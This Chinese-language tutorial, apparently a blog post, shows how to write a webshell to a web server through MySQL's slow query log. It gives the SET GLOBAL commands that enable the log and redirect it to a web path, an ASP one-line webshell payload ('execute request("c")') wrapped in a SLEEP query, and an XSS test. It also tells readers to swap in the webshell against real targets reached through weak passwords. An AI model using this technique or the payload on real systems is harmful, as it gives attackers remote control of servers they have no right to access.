声明
本文章仅用于网络安全技术分享,严禁用于非法用途!请勿进行任何未经授权的渗透行为!请师傅们遵守《网络安全法》,切莫触碰法律红线!
前置内容
慢查询日志
MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阈值的语句,具体指运行时间超过long_query_time值的SQL,则会被记录到慢查询日志中。
long_query_time的默认值为10,意思是运行10秒以上的语句
由慢查询日志来查看哪些SQL超出了我们的最大忍耐时间值,比如一条SQL执行超过5秒钟,我们就算慢SQL,希望能收集超过5秒钟的SQL,即慢查询用于对慢速查询的定位,是出于优化目的的
查看慢查询日志是否开启:
SHOW VARIABLES LIKE '%slow_query_log%';
开启慢查询日志:
SET GLOBAL slow_query_log = 1;
使用该方法开启MySQL的慢查询日志只对当前数据库生效,如果MySQL重启后会失效。
自定义慢查询日志写入位置:
SET GLOBAL slow_query_log_file = '填写路径';
MySQL 会将该查询及其结果写入到之前指定的文件路径()。
恶意内容的写入
- 当查询执行时,MySQL 会将查询内容(包括 SQL 语句和结果)写入到日志文件中。
- 通过构造查询语句,将恶意内容(如 XSS 脚本或 Webshell 代码)嵌入到查询中,从而间接写入到目标文件中。
- 例如,
SELECT '<%execute request("c")%>' OR SLEEP(11);会将<%execute request("c")%>写入到日志文件中。
select '<script>alert(123456)</script>' or sleep(11);
复现流程
直接登录上数据库(实战中可能利用弱口令或者信息泄露等等之类的)之后如利用数据库慢查询机制进行shell的写入,并且解析shell直接拿下
接下来先查询一下是否开启慢查询

没开,那就直接设置慢查询开启

接下来先写入一个html文件,设置日志路径,这里需要绝对路径,我在本地复现的环境自然知道路径,实战中想确认路径的办法或者思路太多了,确认web路径的方法不多赘述
//路径要用\\去转义一下,要不然会出问题,截图的时候忘记了(逃

将shell写入查询语句(这里用xss弹窗代替)

然后等待11秒,出现如上查询结果,之后再去访问我们的rice.html

可以看到成功触发慢查询,将xss写入了日志,访问获得了xss弹窗
实战需要注意目标的架构,比如php环境的服务器就不能传jsp的马(
按照相同思路流程把xss换成webshell就ok了
